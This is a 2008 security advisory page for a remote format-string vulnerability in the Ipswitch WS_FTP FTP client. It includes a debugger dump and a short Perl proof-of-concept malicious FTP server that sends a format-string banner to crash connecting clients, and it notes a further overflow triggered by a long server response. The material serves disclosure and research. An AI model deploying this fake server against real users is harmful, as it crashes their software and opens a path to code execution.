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SecurityAlert : 4173 CVE : CVE-2008-3734 CVE : CVE-2008-3795 CWE : CWE-134 CWE : CWE-119 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : No Credit : securfrog Published : 22.08.2008
Advisory Content : ########################################################################### ####################################### # # Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String vulnerability # Vendor : http://www.ipswitch.com/ # Affected Os : Windows * # Risk : critical # # This bug is pretty interresting in the way you have to exploit it in a weird way... # # With this PoC you'll get a full control over EAX/ECX # ( # eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142 edi=02b1f0ab # eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 # USER32!CharLowerA+0x93: # 77d3ef68 8a10 mov dl,[eax] ds:0023:41414141=?? # ) # Fake Server PoC : use strict; use Socket; my $port = shift || 21; my $proto = getprotobyname('tcp'); my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s"; my $visitor; socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "To bad $!\n"; setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1); bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" )) or die "Shitz port $port is allready in use, shut down your ftp server !\n"; listen(SOCKET, 5) or die "Listen: $!"; print "Fake Server started on port $port\n"; while ($visitor = accept(NEW_SOCKET, SOCKET)) { print NEW_SOCKET $goodz; close NEW_SOCKET; } # Anyways, in the WS_FTP Home client there's still a buffer overflow in the FTP server message response ( 4100 chars answer --> done ). References : http://securityreason.com/expldownload/1/4503/1 (Exploit) http://xforce.iss.net/xforce/xfdb/44512
http://www.securityfocus.com/bid/30720
http://www.milw0rm.com/exploits/6257
http://secunia.com/advisories/31504  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
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